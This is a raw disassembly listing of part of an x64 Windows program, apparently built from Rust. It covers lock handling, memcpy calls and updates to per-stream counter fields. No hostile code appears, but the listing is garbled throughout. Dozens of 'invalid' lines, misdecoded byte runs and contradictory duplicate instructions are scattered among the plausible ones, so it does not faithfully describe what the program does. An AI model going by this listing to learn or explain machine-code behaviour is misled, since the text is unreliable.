movabs rcx, 0x300000001
cmovo rdx, rcx
test dl, dl
jne 0x1400ec169
shr rdx, 0x20
mov dword [rsi + 0xcc], edx
mov eax, edx
lea r13, [rsi + 0xc8]
jmp 0x1400ec186
test eax, eax
jle 0x1400ec444
cmp dword [rsi + 0xec], 0
je 0x1400ec50a
mov ecx, dword [rsi + 0xf0]
mov eax, dword [rsi + 0xf4]
cmp ecx, dword [rsi + 0xf8]
jne 0x1400ec230
cmp eax, dword [rsi + 0xfc]
jne 0x1400ec230
mov dword [rbp + 0x540], ecx
mov dword [rbp + 0x544], eax
mov r8, qword [rsi + 0x1c8]
cmp r8, rcx
jbe 0x1400ede16
mov rdx, qword [rsi + 0x1b8]
test rdx, rdx
je 0x1400ede16
imul r9, rcx, 0x130
cmp dword [rdx + r9], 2
je 0x1400ede16
add r9, rdx
cmp dword [r9 + 0x114], eax
jne 0x1400ede16
cmp dword [r9 + 0xc4], 0
jne 0x1400ee05c
mov dword [rsi + 0xec], 0
jmp 0x1400ec2b9
mov dword [rbp + 0x540], ecx
mov dword [rbp + 0x544], eax
cmp qword [rsi + 0x1c8], rcx
jbe 0x1400edda5
mov rdx, qword [rsi + 0x1b8]
test rdx, rdx
je 0x1400edda5
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400edda5
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400edda5
movq xmm0, qword [rdx + 0xc8]
cmp dword [rdx + 0xc4], 0
mov dword [rdx + 0xc4], 0
je 0x1400ee03f
mov dword [rsi + 0xec], 1
movq qword [rsi + 0xf0], xmm0
mov rdx, qword [rsi + 0x1b8]
mov r8, qword [rsi + 0x1c8]
mov dword [rbp + 0x540], ecx
mov dword [rbp + 0x544], eax
cmp r8, rcx
jbe 0x1400edbb8
test rdx, rdx
je 0x1400edbb8
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400edbb8
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400edbb8
mov byte [rdx + 0x122], 0
mov dword [rbp + 0x540], ecx
mov dword [rbp + 0x544], eax
cmp qword [rsi + 0x1c8], rcx
jbe 0x1400edb47
mov rdx, qword [rsi + 0x1b8]
test rdx, rdx
je 0x1400edb47
cmp dword [rdx + r8], 2
je 0x1400edb47
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400edb47
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r8d, r8b
cmp r8b, 6
mov r9d, 6
cmovae r8d, r9d
cmp r8b, 5
je 0x1400ec36d
movzx r8d, r8b
cmp r8d, 3
jne 0x1400ec373
cmp byte [rdx + 0x51], 0
jne 0x1400ec3a2
call fcn.14018d880
test al, al
jne 0x1400ebcf6
mov byte [rsi + 0x18], 1
jmp 0x1400ebcf6
movaps xmmword [rbp + 0x310], xmm7
mov r13b, 1
xor ebx, ebx
mov dword [rbp + 0x6bc], edx
mov eax, dword [rbp + 0x714]
jmp 0x1400ec5dd
mov rdx, qword [rbp + 0x350]
cmp rdx, 2
je 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
test rdx, rdx
je 0x1400ec47a
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x368]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x350]
cmp rdx, 2
je 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
test rdx, rdx
je 0x1400ec4ba
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x368]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x350]
cmp rax, 2
je 0x1400ec5bb
test rax, rax
je 0x1400ec5bb
mov rax, qword [rbp + 0x358]
lock dec qword [rax]
jne 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x360]
call fcn.14006cb50
jmp 0x1400ec5bb
mov rdx, qword [rbp + 0x350]
cmp rdx, 2
je 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
test rdx, rdx
je 0x1400ec540
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x368]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x350]
cmp rdx, 2
je 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
test rdx, rdx
je 0x1400ec57c
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x368]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x350]
cmp rax, 2
je 0x1400ec5bb
test rax, rax
je 0x1400ec5bb
mov rax, qword [rbp + 0x358]
lock dec qword [rax]
jne 0x1400ec5bb
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x360]
call fcn.14006cb50
mov r13b, 3
mov bl, 1
cmp dword [rdi + 0x480], 0
mov eax, dword [rbp + 0x714]
je 0x1400ec5dd
cmp dword [rdi + 0x484], 0
setne byte [rsi + 0x130]
test al, al
jne 0x1400ec5f4
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400ed674
mov rcx, qword [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp byte [rbp + 0x710], 0
jne 0x1400ec61d
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400ed691
mov rcx, qword [rbp + 0x730]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bl, bl
je 0x1400ec666
cmp dword [rdi + 0x478], 0
mov rdx, qword [rbp + 0x4a8]
je 0x1400ecc12
mov eax, dword [rdi + 0x47c]
mov rcx, qword [rdi + 0x48]
test rcx, rcx
je 0x1400ecbdb
cmp ecx, 1
jne 0x1400ecbf7
cmp qword [rdx], rax
jmp case.0x1400e23d9.47
movaps xmm0, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0x4b0], xmm0
mov al, 1
mov edx, dword [rbp + 0x6bc]
movdqa xmm0, xmm6
cmp r13b, 4
je 0x1400ec6a4
movzx r8d, r13b
cmp r8d, 3
je 0x1400eb7a4
movaps xmm1, xmmword [rbp + 0x4b0]
movaps xmmword [rbp + 0x6c0], xmm1
jmp 0x1400ec6bd
movzx eax, byte [rbp + 0x767]
movzx ecx, word [rbp + 0x764]
mov edx, dword [rbp + 0x75c]
movdqa xmm0, xmm8
mov byte [rbp + 0x767], al
mov word [rbp + 0x764], cx
mov dword [rbp + 0x75c], edx
movdqa xmm8, xmm0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
jne 0x1400ebd81
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x720]
mov rax, qword [rax]
cmp rax, 2
je 0x1400ec730
mov rcx, qword [rdi + 0x380]
mov r8, qword [rdi + 0x388]
add byte [rax - 0x7b], cl
invalid
je 0x1400ec725
mov rax, qword [r8 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, qword [rbp + 0x4f0]
call qword [r8 + 0x68]
push rax
invalid
cmp r13b, 3
jne 0x1400ed6a7
mov rax, qword [rdi + 0x400]
mov rcx, qword [rdi + 0x408]
add rax, 0x10
add rcx, 0x10
mov rdx, qword [rbp + 0x470]
mov qword [rbp + 0x310], rdx
mov rdx, qword [rbp + 0x6f8]
mov qword [rbp + 0x318], rdx
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rcx
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x478]
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x538], 0
lea r15, [rbp + 0x598]
cmp byte [rdi + 0x1c2], 0
jne 0x1400ecae0
movzx eax, byte [rdi + 0x1c1]
jmp 0x1400ec7fb
mov al, 1
cmp byte [rdi + 0x1c0], 0
jne 0x1400ecb5a
add eax, dword [rax]
invalid
mov byte [rdi + 0x1c0], al
mov byte [rdi + 0x1c1], 1
mov al, 1
cmp byte [rdi + 0x1c2], 0
add byte [rax], al
add byte [rdi], cl
test ebp, esp
add al, byte [rax]
invalid
test al, al
je 0x1400ec858
cmp byte [rdi + 0x1c0], 0
jne 0x1400ec970
lea rcx, [rbp + 0x590]
mov rdx, rdi
mov r8, r12
call fcn.140178a40
cmp qword [rbp + 0x590], 0
mov rbx, qword [rbp + 0x598]
jne 0x1400ecb01
mov rax, qword [rbp + 0x5a0]
movdqu xmm0, xmmword [r15 + 0x10]
movdqa xmmword [rbp + 0x210], xmm0
test rbx, rbx
jne 0x1400ec9b5
mov byte [rdi + 0x1c1], 0
mov rsi, qword [rdi + 0x1a8]
cmp qword [rdi + 0x1b0], rsi
jne 0x1400ec87c
mov edx, 1
mov rcx, r12
call fcn.140013010
mov rsi, qword [rdi + 0x1a8]
cmp rsi, 0xffffffffffffffff
je 0x1400ec7d0
mov r14, qword [rdi + 0x188]
mov rbx, qword [rdi + 0x190]
mov rax, qword [rbp + 0x580]
mov rax, qword [rax]
add byte [rax + 0x39], cl
invalid
jne 0x1400ec8be
mov edx, 0x40
mov rcx, r12
call fcn.140013010
mov rsi, qword [rdi + 0x1a8]
mov rax, qword [rdi + 0x1b0]
sub rax, rsi
add rsi, qword [r12]
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rax
lea rax, [rbp + 0x220]
movups xmmword [rax], xmm7
mov qword [rbp + 0x1f0], rsi
mov rcx, r14
mov ecx, esi
mov rdx, qword [rbp + 0x718]
lea r8, [rbp + 0x210]
call qword [rbx + 0x18]
test rax, rax
jne 0x1400ecb1d
mov rbx, rdx
test rdx, rdx
test edx, edx
jne 0x1400ecb35
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp + 0x220]
mov ecx, dword [rbp + 0x220]
cmp rcx, rdx
ja 0x1400ed9d0
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x6c0], rax
cmp rsi, rax
jne 0x1400ed9e1
mov rax, qword [rdi + 0x1a8]
add rax, rcx
mov qword [rbp + 0x6c0], rax
invalid
add byte [rax], al
cmp rax, qword [rdi + 0x1b0]
ja 0x1400ed94a
mov qword [rdi + 0x1a8], rax
test rcx, rcx
je 0x1400ec7d0
invalid
invalid
invalid
invalid
xor eax, eax
jmp 0x1400ec7df
lea rcx, [rbp + 0x590]
mov rdx, rdi
mov r8, r12
call fcn.140178a40
cmp qword [rbp + 0x590], 0
mov rbx, qword [rbp + 0x598]
cwde
add eax, 0x850f0000
movsb byte [rdi], byte [rsi]
add al, byte [rax]
invalid
mov rax, qword [rbp + 0x5a0]
movdqu xmm0, xmmword [r15 + 0x10]
movdqa xmmword [rbp + 0x210], xmm0
test rbx, rbx
je 0x1400ecc57
movaps xmm0, xmmword [rbp + 0x210]
movaps xmmword [rbp + 0x300], xmm0
movdqa xmm0, xmmword [rbp + 0x300]
lea rcx, [rbp + 0x200]
movdqu xmmword [rcx], xmm0
mov r8, qword [rdi + 0x370]
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x1f8], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x590]
mov rdx, qword [rbp + 0x488]
mov r9, qword [rbp + 0x490]
call fcn.14001a040
movzx ebx, byte [rbp + 0x590]
add eax, 0xfb800000
or cl, byte [rdi]
test byte [rcx + 1], dl
add byte [rax], al
movdqu xmm0, xmmword [r15 - 7]
movups xmm1, xmmword [r15 + 9]
movups xmm2, xmmword [r15 + 0x18]
movups xmmword [rbp + 0x6df], xmm2
adc dword [rbp + 0x6df], edx
movaps xmmword [rbp + 0x6d0], xmm1
movdqa xmmword [rbp + 0x6c0], xmm0
jg 0x1400ec9c8
rol byte [rsi], 0
add byte [rcx - 0x48], al
lock add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rax]
add al, byte [rax]
add byte [rax], al
lea rdx, [rbp + 0x5c0]
call sub.VCRUNTIME140.dll_memcpy
jnp 0x1400ec9f8
or dword [rax], eax
cmp bl, 9
je 0x1400ec7ba
movups xmm0, xmmword [rbp + 0x6df]
movups xmmword [rbp + 0x5af], xmm0
movdqa xmm0, xmmword [rbp + 0x6c0]
add byte [rax], al
invalid
add byte [rax], al
movaps xmm1, xmmword [rbp + 0x6d0]
movaps xmmword [rbp + 0x5a0], xmm1
movdqa xmmword [rbp + 0x590], xmm0
test dword [rax + 0x41000005], edx
mov eax, 0xf0
lea rcx, [rbp + 0x5bf]
lea rdx, [rbp + 0x210]
lea edi, [rdi + 0x48000005]
lea edx, [rbp + 0x210]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x11f
lea rcx, [rbp + 0x350]
lea rdx, [rbp + 0x590]
lea edx, [rbp + 0x590]
xchg ebp, eax
nop
add eax, 0x14e80000
invalid
adc al, 0x9a
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0x518]
add byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
test dword [rsi + 3], ebx
pop rsi
add eax, dword [rax]
invalid
add byte [rax - 0x7d], cl
cli
add cl, byte [rdi]
test dword [rsi + 3], ebx
pop rsi
add eax, dword [rax]
invalid
jmp 0x1400ecee0
mov word [rdi + 0x1c1], 0
mov bl, 0xa
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
jne 0x1400ece36
jmp 0x1400ecee0
mov byte [rdi + 0x1c2], 1
mov esi, ebx
and esi, 3
lea rcx, [0x1401eef1c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
mov bl, 0xb
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
jne 0x1400ece36
add eax, dword [rax]
invalid
add eax, dword [rax]
add cl, ch
stosd dword [rdi], eax
add eax, dword [rax]
add dh, al
xchg edx, eax
add dword [rax], eax
add byte [rcx], al
jmp 0x1400ecee0
mov byte [rdi + 0x1c2], 1
mov esi, ebx
and esi, 3
lea rcx, [0x1401eef1c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [rbx + 0x10]
jmp 0x1400eccaa
mov bl, 0xa
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
jne 0x1400ece36
jmp 0x1400ecee0
mov rax, qword [r15 + 0x20]
lea rcx, [rbp + 0x6c7]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
adc byte [r15], r9b
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov rax, qword [rcx + 0x20]
mov qword [r15 + 0x1f], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r15 + 0xf], xmm1
movups xmmword [r15 - 1], xmm0
movdqu xmm0, xmmword [rbp + 0x590]
movups xmm1, xmmword [rbp + 0x5a0]
lea esp, [rax + 0xf000005]
adc byte [rbp + 0x5af], dl
lea esp, [rax + 0xf000005]
adc byte [rbp + 0x5af], dl
movups xmmword [rbp + 0x36f], xmm2
movaps xmmword [rbp + 0x360], xmm1
invalid
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rdi], cl
sub dword [rbp + 0x360], ecx
invalid
add eax, dword [rax]
invalid
invalid
movdqa xmmword [rbp + 0x350], xmm0
jmp 0x1400ece23
mov rcx, qword [rdx]
cmp rcx, rax
jae 0x1400ecc00
cmp rcx, qword [rdi + 0xb0]
cmp ecx, dword [rdi + 0xb0]
setbe cl
cmovbe rdx, qword [rbp + 0x4f8]
add bl, ch
invalid
cmp qword [rdi + 0xb0], rax
je 0x1400ecc12
xor ecx, ecx
movzx ecx, cl
leave
mov r8, qword [rbp + 0x700]
add byte [rax], al
mov qword [r8], rcx
mov qword [rdx], rax
cmp dword [rdi + 0x498], 0
cwde
add al, 0
add byte [rax], al
je 0x1400eb78d
test byte [rsi - 0x15], ch
invalid
mov eax, dword [rdi + 0x49c]
cmp eax, 0x1000000
jae 0x1400ee167
mov dword [rdi + 0x180], eax
jmp 0x1400eb78d
mov byte [rdi + 0x1c2], 1
mov esi, ebx
and esi, 3
lea rcx, [0x1401eef1c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
cmp dword [rdi + 0x1a8], 0
cmp qword [rdi + 0x1a8], 0
test al, 1
add byte [rax], al
add byte [rdi], cl
test al, dh
or dword [rax], eax
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
je case.default.0x1400ecc96
mov r8d, 0x19
mov cl, 0x27
lea rdx, str.bytes_remaining_on_streampolling_StreamFuture_twiceC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_stream_streaminto_future.rs
call fcn.1400e4a10
mov rbx, rax
mov ebx, eax
mov ebx, eax
mov byte [rdi + 0x1c2], 1
mov esi, ebx
and esi, 3
lea rcx, [0x1401eef1c]
movsxd rax, dword [rcx + rsi*4]
add byte [rax + 0x63], cl
add al, 0xb1
add rax, rcx
jmp rax
movzx eax, byte [rbx + 0xf]
jmp 0x1400eccaa
mov rcx, rbx
shr rcx, 0x20
call fcn.14014c870
cmp al, 0x15
mov qword [rbp + 0x748], rbx
jne 0x1400ecda0
lea rax, [rsi - 2]
cmp rax, 2
jb 0x1400ecda0
test rsi, rsi
je 0x1400ecda0
mov rcx, qword [rbx - 1]
mov rax, qword [rbx + 7]
mov rax, qword [rax + 0x38]
mov byte [rbp + 0x75b], 1
call rax
movabs rcx, 0xe66b06e747d11042
xor rax, rcx
movabs rcx, 0x87347235f18ea861
xor rdx, rcx
or rdx, rax
mov rbx, qword [rbp + 0x748]
jne 0x1400ecda0
lea rax, [rbx - 1]
mov qword [rbp + 0x750], rax
lea rax, [0x1401b9e38]
mov qword [rbp + 0x6c8], rax
lea rax, [0x1401ea218]
mov qword [rbp + 0x6d0], rax
lea rax, [rbp + 0x6c7]
movups xmmword [rax + 0x11], xmm7
mov dword [rbp + 0x6c4], 6
mov word [rbp + 0x6c0], 0x101
mov rcx, qword [rbx - 1]
mov rax, qword [rbx + 7]
mov qword [rbp + 0x740], rcx
lea eax, [rax + 7]
add byte [rax], al
mov qword [rbp + 0x748], rax
call qword [rax]
mov rax, qword [rbp + 0x748]
test dword [rax + 7], ecx
add byte [rax], al
cmp qword [rax + 8], 0
je case.0x1400e1cdb.92
cmp qword [rax + 0x10], 0x11
jae case.0x140110e31.81
mov r8, qword [rbp + 0x740]
jmp case.0x1400e23d9.61
mov byte [rbp + 0x75b], 0
lea rcx, [rbp + 0x6c0]
mov rdx, rbx
call fcn.140019b60
mov rax, qword [rbp + 0x6e0]
lea rcx, [rbp + 0x220]
mov qword [rcx + 0x17], rax
movups xmm0, xmmword [rbp + 0x6c0]
movups xmm1, xmmword [rbp + 0x6d0]
movups xmmword [rcx + 7], xmm1
movups xmmword [rcx - 9], xmm0
movdqu xmm0, xmmword [rbp + 0x210]
movups xmm1, xmmword [rbp + 0x220]
movups xmm2, xmmword [rbp + 0x22f]
movdqa xmmword [rbp + 0x350], xmm0
movaps xmmword [rbp + 0x360], xmm1
movups xmmword [rbp + 0x36f], xmm2
mov r8d, 0xf0
lea rcx, [rbp + 0x37f]
lea edi, [rdi + 3]
add byte [rax], al
lea rdx, [rbp + 0x590]
call sub.VCRUNTIME140.dll_memcpy
invalid
mov bl, 9
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
je 0x1400ecee0
stosb byte [rdi], al
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x528]
test rdx, rdx
je 0x1400ece5b
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x530]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x518]
cmp rdx, 2
je 0x1400ecee0
mov rcx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x528]
test rdx, rdx
je 0x1400ece97
mov rdx, qword [rax + 0x10]
dec rdx
dec edx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x530]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x518]
cmp rax, 2
je 0x1400ecee0
test rax, rax
je 0x1400ecee0
mov rax, qword [rbp + 0x520]
lock dec qword [rax]
jne 0x1400ecee0
mov rcx, qword [rbp + 0x520]
mov rdx, qword [rbp + 0x528]
call fcn.14006cb50
nop word cs:[rax + rax]
mov al, 9
cmp bl, 0xa
je 0x1400ecf17
movzx eax, bl
cmp eax, 9
je 0x1400ed7cb
cmp eax, 0xb
je 0x1400ed6e8
mov r8d, 0x11f
lea rcx, [rbp + 0xd0]
lea rdx, [rbp + 0x350]
call sub.VCRUNTIME140.dll_memcpy
mov eax, ebx
mov byte [rbp - 0x50], al
mov r8d, 0x11f
lea rcx, [rbp - 0x4f]
lea rdx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x540]
lea rdx, [rbp + 0x310]
lea r8, [rbp - 0x50]
call fcn.1400f4a20
cmp dword [rbp + 0x540], 0
jne 0x1400ed737
mov ecx, dword [rbp + 0x544]
lea r8, [rbp + 0x548]
movdqu xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movups xmm2, xmmword [r8 + 0x20]
movdqa xmmword [rbp + 0x4b0], xmm0
movaps xmmword [rbp + 0x4c0], xmm1
movaps xmmword [rbp + 0x4d0], xmm2
mov eax, dword [r8 + 0x30]
mov dword [rbp + 0x4e0], eax
movzx eax, byte [rbp + 0x57c]
movzx edx, word [r8 + 0x35]
mov word [rbp + 0x72c], dx
movzx edx, byte [r8 + 0x37]
mov byte [rbp + 0x72e], dl
lea r8d, [rcx - 2]
lea rdx, [r8 + 1]
cmp r8d, 2
mov r8d, 0
add byte [rax], al
add byte [rcx + 0xf], cl
invalid
invalid
test rdx, rdx
jne 0x1400eb390
invalid
invalid
test al, 1
jne 0x1400ed03c
cmp dword [rdi + 0x478], 2
jne 0x1400edc9a
invalid
invalid
or al, 0
invalid
mov dword [rdi + 0x478], ecx
mov ecx, dword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x498]
mov dword [rdx + 0x30], ecx
movdqa xmm0, xmmword [rbp + 0x4b0]
movq mm0, qword [rbp + 0x4b0]
movaps xmm1, xmmword [rbp + 0x4c0]
movaps xmm2, xmmword [rbp + 0x4d0]
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc bl, dh
movq qword [rdx], mm0
mov byte [rdi + 0x4b0], al
movzx eax, byte [rbp + 0x72e]
mov rcx, qword [rbp + 0x4a0]
invalid
add al, 0
invalid
mov byte [rcx + 2], al
movzx eax, word [rbp + 0x72c]
mov word [rcx], ax
jmp 0x1400eb39a
invalid
cmp dword [rdi + 0x438], 1
jne 0x1400ed8ca
cmp dword [rdi + 0x45c], 0
je 0x1400ed06e
mov eax, dword [rdi + 0x460]
lea ecx, [rax - 0x4000]
cmp ecx, 0xffc000
jae 0x1400edf2e
mov qword [rdi + 0x10], rax
cmp dword [rdi + 0x464], 0
je 0x1400ed084
mov eax, dword [rdi + 0x468]
mov qword [rdi + 0x370], rax
cmp dword [rdi + 0x43c], 0
je 0x1400ed0bf
mov eax, dword [rdi + 0x440]
mov rcx, qword [rdi + 0x1d0]
cmp rcx, rax
cmovbe rcx, rax
cmp qword [rdi + 0x1c8], 0
cmp dword [rdi + 0x1c8], 0
cmove rcx, rax
mov qword [rdi + 0x1c8], 1
enter 1, 0
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rdi + 0x1d0], rcx
mov rsi, qword [rdi + 0x400]
lea rbx, [rsi + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
adc eax, 0xa1f85
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne case.0x1400c0ff4.149
xor eax, eax
movzx ecx, byte [rsi + 0x18]
test cl, cl
jne 0x1400edcb4
test eax, eax
or eax, dword [rax]
invalid
cmp dword [rdi + 0x46c], 0
je case.0x1400642bf.327
cmp dword [rdi + 0x470], 0
setne byte [rsi + 0xbd]
mov cl, 1
mov dword [rbp + 0x748], ecx
cmp dword [rdi + 0x454], 0
je 0x1400ed2f5
mov r10d, dword [rdi + 0x458]
mov ecx, dword [rsi + 0xac]
mov qword [rbp + 0x750], rsi
mov dword [rbp + 0x750], esi
mov dword [rsi + 0xac], r10d
xor edx, edx
mov esi, r10d
sub esi, ecx
setne dl
xchg ebp, eax
invalid
mov r8d, 0xff
cmovb edx, r8d
test dl, dl
je 0x1400ed301
mov dword [rbp + 0x730], eax
mov qword [rbp + 0x708], rbx
movzx edx, dl
cmp edx, 1
jne case.0x1400b130f.161
add dword [rax], eax
invalid
mov byte [rbp + 0x740], 3
mov rcx, qword [rbp + 0x750]
mov rdx, qword [rcx + 0x1f8]
test rdx, rdx
je 0x1400ed40f
invalid
add al, byte [rax]
invalid
mov rcx, qword [rcx + 0x200]
test rcx, rcx
je 0x1400ee114
mov rax, qword [rbp + 0x750]
mov r8, qword [rax + 0x210]
mov r9, qword [rax + 0x1b8]
test r9, r9
je 0x1400ee10b
mov rax, qword [rax + 0x1c8]
mov r11, rdx
xor ebx, ebx
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r8, rbx
jbe 0x1400ee114
add byte [rax], al
mov r10, rbx
shl r10, 4
loop 0x1400ed1e4
mov r14d, dword [rcx + r10 + 8]
mov r15d, dword [rcx + r10 + 0xc]
mov dword [rbp + 0x6c0], r15d
mov dword [rbp + 0x6c4], r14d
cmp rax, r15
clc
clc
jbe 0x1400ee24c
imul r13, r15, 0x130
cmp dword [r9 + r13], 2
cmp al, 0x29
add cl, byte [rdi]
test byte [rcx], bh
adc byte [rax], al
invalid
cmp al, 0x29
add cl, byte [rdi]
test byte [rcx], bh
adc byte [rax], al
add byte [rbp + 1], cl
int 0x45
cmp dword [rbp + 0x114], esi
add dword [rax], eax
invalid
add r13, r9
cmp dword [r13 + 0x114], r14d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rcx], ebp
adc byte [rax], al
add byte [rbp - 0x75], al
xchg ebp, eax
movabs al, byte [0x800ff20141000000]
add r10d, esi
invalid
invalid
invalid
jne 0x1400ee24c
mov r10d, dword [r13 + 0xa0]
add r10d, esi
jo case.0x1400dfa4d.88
mov dword [r13 + 0xa0], r10d
mov dword [rbp + 0x6c0], r15d
mov dword [rbp + 0x6c4], r14d
cmp dword [r13], 2
jge 0x1400ed24c
add cl, byte [rdi]
invalid
or dword [rax], 0
invalid
jge 0x1400ed24c
add cl, byte [rdi]
test byte [rbx + 0x45000008], al
cmp dword [rbp + 0x114], esi
cmp dword [r13 + 0x114], r14d
jne 0x1400edad6
mov r10d, dword [r13 + 0xa4]
lea r15d, [rsi + r10]
invalid
shl r15, 0x20
add r10d, esi
movabs r10, 0x300000001
cmovo r15, r10
mov r14, r15
shr r14, 0x20
test r15b, r15b
jne case.0x1400ced76.142
cmp rdx, r11
sbb rbx, 0xffffffffffffffff
invalid
dec dword [rcx + rdi - 0x26]
mov dword [r13 + 0xa4], r14d
sbb r11, 0
fild dword [rax]
cmp rbx, r11
lea r15, [rbp + 0x598]
mov ebp, 0x598
mov ebp, 0x598
jb case.0x1400af7b4.316
mov rbx, qword [rbp + 0x708]
add byte [rax], al
mov eax, dword [rbp + 0x730]
xor byte [rdi], al
add byte [rax], al
invalid
mov rsi, qword [rbp + 0x750]
jmp case.0x140110e31.71
scasb al, byte [rdi]
add dword [rax], eax
invalid
mov rax, rbx
shr rax, 0x20
cmp eax, 0x28
clc
invalid
ja case.default.0x1400ed2ec
lea rcx, [0x1401eef2c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
jmp 0x1400eccaa
mov byte [rbp + 0x740], 3
jmp case.0x140110e31.71
jnp case.0x1400b12ea.199
add byte [rax], al
mov byte [rbp + 0x740], 3
mov rsi, qword [rbp + 0x750]
jmp case.0x140110e31.71
mov byte [rbp + 0x740], 3
mov rsi, qword [rbp + 0x750]
mov rdx, qword [rsi + 0x1f8]
test rdx, rdx
je case.0x1400df101.84
mov rax, qword [rsi + 0x200]
test rax, rax
je 0x1400ee0ee
mov r8, qword [rsi + 0x210]
mov r9, qword [rsi + 0x1b8]
test r9, r9
je 0x1400ee0e5
sub ecx, r10d
mov r10, qword [rsi + 0x1c8]
mov r11, rdx
xor ebx, ebx
nop dword [rax + rax]
cmp r8, rbx
jbe 0x1400ee0ee
xchg byte [rbp + 0xd], dh
add byte [rax], al
mov r15, rbx
shl r15, 4
mov r14d, dword [rax + r15 + 8]
mov r15d, dword [rax + r15 + 0xc]
mov dword [rbp + 0x6c0], r15d
mov dword [rbp + 0x6c4], r14d
cmp r10, r15
jbe 0x1400ee1cc
imul r13, r15, 0x130
cmp dword [r9 + r13], 2
je 0x1400ee1cc
test byte [rcx], bl
invalid
add byte [rax], al
add r13, r9
cmp dword [r13 + 0x114], r14d
jne 0x1400ee1cc
mov r15d, dword [r13 + 0xa0]
sub r15d, ecx
mov r14d, 3
jo case.0x1400ced76.146
mov dword [r13 + 0xa0], r15d
mov r15d, dword [r13 + 0xa4]
sub r15d, ecx
jo case.0x1400ced76.146
cmp rdx, r11
sbb rbx, 0xffffffffffffffff
cmp rdx, r11
cmp edx, ebx
mov dword [r13 + 0xa4], r15d
